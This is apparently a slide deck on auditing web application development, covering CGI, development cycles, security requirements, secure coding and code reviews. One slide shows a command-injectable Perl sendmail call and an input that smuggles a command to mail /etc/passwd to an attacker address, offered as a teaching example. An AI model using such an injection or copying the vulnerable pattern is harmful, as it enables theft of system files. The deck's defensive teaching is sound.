Auditing the Development of Web-Based Applications

1. Auditing the Development of Web-Based Applications Jian Zhen

2. Overview • Overview of WWW and HTTP • Web-based Application Concepts • Overview of the Development Cycles • Security Requirements • Web-based Application Security • Application Code Reviews

3. World-Wide-Web (WWW) • Invented by Tim Berners-Lee and others at the European Laboratory for Particle Physics (CERN) • Based on hypertext--a system of embedding links in text to link to other text • The most popular way of linking to resources on the Internet

4. WWW (Cont.) • Hundres of millions of pages indexed by search engines • Tens of terabytes archived by Alexa • Hundreds of millions users on the Web

5. WWW and HTTP • Static Web Model

6. Common Gateway Interface (CGI) • Common • An open specification • Many languages • Gateway • Strength is not in what is does by itself • Methods to access other systems • Interface • Well defined way to call features

7. CGI (cont.) • A way of providing dynamic web content • Forms • Counters • Guest Books • Database Queries • Used by most of the web-based applications

8. The CGI Model

9. Web Applications • Browsers: • Plug-ins • Applets • DHTML • etc • Server: • CGI • Servlets • ASP • NSAPI Internet CORBA/ODBC Static Pages Database

10. Web Applications • Client side • HTML/DHTML • JavaScript, VBScript, PerlScript • Java • ActiveX • Plug-ins

11. Web Applications • Server side • Frontend: CGIs (Perl, C/C++), Java Servlets, ISAPI, NSAPI, ASP, etc • Middleware: CORBA, ODBC, DCOM, etc • Backend: Oracle, Informix, Sybase, DB2, etc

12. Web Applications • Complex distributed, Client/Server applications • Many elements involved and integrated • Rapid development • Requires more planning, design, and control than “conventional” projects.

13. Web Development Cycles Analysis Design Prototyping Implementation Testing

14. Web Development Cycles • Analysis • Feasibility study • Identify requirements • Involvment: your requirements

15. Web Development Cycles • Design • Design specifications • Involvment: system interoperability, resiliency, capacity planning, mature technologies, security design

16. Business Requirement Existing and Proposed System Overview Hardware and Software Requirements System Schematic System Interoperability Operational cycle/Workflow System Modules Input-Output User Interface Prototypes Design Specification

17. Web Development Cycles • Prototyping • Most time-consuming stage • Coding • Build, review, and refine prototype • Involvement: coding standards, effective application development environment

18. Web Development Cycles • Testing • Unit/System test plans • Module/Unit testing • System integration testing • Involvement: test plans, effective testing environment, testing stages, code reviews

19. Web Development Cycles • Delivery/Implementation • Install systems • Train users • Acceptance testing • Involvement: effective implementation

20. Security Requirements • Privacy - All user information are protected • Authentication/Access Control- Only authorized users are allowed to access the resources • Integrity - User and application data cannot be tempered with • Auditing - Keeping audit logs and audit trails and ensuring their integrity

21. Privacy • Protecting users’ private information • SSN • Birthdates • Employee Ids • Passwords • Technologies • Encryption: DES, RSA, SSL • Local vs. Network

22. Authentication • Proof of Identity • Required to enforce access control and accountability, and achieve non-repudiation • Technologies • username/password • Smart Cards, SecurID • Biometrics

23. Access Control • Determine who is authorized to receive or modify information • Common mechanisms • Mandatory Access Control (MAC) • Owners cannot modify access list (SeOS) • Discretionary Access Control (DAC) • Owners are allowed to modify access (UNIX) • Role-based Access Control (RBAC) • Role granted provides necessary access

24. Auditing • The process of collecting and recording security-relevant activities on a system • After-the-fact technique • Audit logs are used as evidence

25. Data Encryption • Confidentiality • Scrambling data to unreadable format • Integrity • User and application data are not modified • Technologies • Public/Secret Key Encryption: RSA, DES • Digital Signatures: DSS • Hashes: MD5

26. Web-based Application Security • Security flaws occur when software bugs allow violation of security policy • Different security flaw present different threats • Opening backdoors • Stealing information or system resource • Destroying or tempering data

27. Where Do Flaws Exist? • Operating Systems • UNIX, NT • Support Software and Libraries • Compilers, C Libraries • Applications • CGI programs, Netscape, Internet Explorer, vi, Emacs, Sendmail, many others

28. Web-based Application Security • Different layers of security • Network security • Operating System security • Web server security • Application security • MUST PROTECT ALL LAYERS!!! • Rootshell gets defaced!

29. Web-based Application Security • Common Security Flaws • Insufficient Input Validations • Memory Cleansing, i.e. Cookie deletion on the client • Environmental Faults • Buffer Overflows • Race Conditions

30. Web-based Application Security • CGI Programming Example • What if we used this Perl code to send mail to an address given in a fill-out form? $mail_to= &get_name_from_input; #read the address open (MAIL, “| /usr/lib/sendmail $mail_to”); print MAIL “To: $mail_to\nFrom: me\n\nHello\n”; close MAIL;

31. CGI Example (cont.) • Look at the open() call open (MAIL, “| /usr/lib/sendmail $mail_to”); • What if the user entered jerk@nowhere.com;mail evilone@chaos.org</etc/passwd; • Look at the open again! /usr/lib/sendmail jerk@nowhere.com; mail evilone@chaos.org</etc/passwd;

32. Web-based Application Security • Never Assume That: • The input to a field from a selection list will be one of the items on the list • A browser will never send more than the maximum length of an input field • The field in the QUERY_STRING variable will match the ones on the page • The QUERY_STRING variable will correspond to something that is within valid HTTP specs

33. Web-based Application Security • AVOID shell programming! • Always use full pathnames for both commands and filenames, or explicitly set the PATH variable • Don’t depend on the current directory • Use and check all return codes from system calls

34. Web-based Application Security • Have internal consistency checking code • Include lots of logging • Review publicly available programs • Review error logs • Make the critical portion of the program as simple as possible • Read through the code

35. Code Reviews • Code Inspection • Formal • Walk Through • Code Reading • Informal

36. Code Reviews • Code Inspection • Formal code review • Emphasize on defect detection, not correction • Reviewers prepare beforehand • Distinct roles are assigned

37. Code Reviews • Walkthroughs • Usually hosted and moderated by the author of the design or code under review • To improve the technical quality of a program • Emphasize on error detection

38. Code Reviews • Code Reading • Read source code and look for errors • Comment on design, style, readability, maintainability, and efficiency • Informal meetings • Probably most common in web-based application environment

39. Appendix • The Ten Commandments for C Programmers

40. The Ten Commandments for C Programmers • Thou shalt run lint frequently and study its pronouncements with care, for verily its perception and judgement oft exceed thine. • Thou shalt not follow the NULL pointer, for chaos and madness await thee at its end.

41. The Ten Commandments for C Programmers (cont.) • Thou shalt cast all function arguments to the expected type if they are not of that type already, een when thou are convinced that this is unnecessary, lest the take cruel vengeance upon thee when thou least expect it. • If thy header files fail to declare the return types of thy library functions, thou shalt declare them thyself with the most meticulous care, lest grievous harm befall thy program.

42. The Ten Commandments for C Programmers (cont.) • Thou shalt check the array bounds of all strings (indeed, all arrays,) for surely where thou typest “foo” someone someday shall type “supercalifragilisticexpialidocious.” • If a function be advertised to return an error code in the event of difficulties, thou shalt check for that code, yea, even though the checks triple the size of thy code and produce aches in thy typing fingers, for if thou thinkest “it cannot happen to me,” the gods shall surely punish thee for thy arrogance.

43. The Ten Commandments for C Programmers (cont.) • Thou shalt study thy libraries and strive not to re-invent them without cause, that thy code may be short and readable and thy days pleasant and productive. • Thou shalt make thy program’s purpose and structure clear to thy fellow man by using the One True Brace Style, even if thou likest it not, for thy creativity is better used in solving problems than in creating beautiful new impediments to understanding.

44. The Ten Commandments for C Programmers (cont.) • Thy external identifiers shall be unique in the first six characters, though this harsh discipline be irksome and the years of its necessity stretch before thee seemingly without end, lest thou tear thy hair out and go mad on that fateful day when thou desirest to make thy program run on an old system. • Thou shalt foreswear, renounce, and abjure the vile heresy which claimeth that “All the world’s a VAX,” and have no commerce with the benighted heathens who cling to this barbarous belif, that the days of thy program may be long even though the days of thy current machine be short.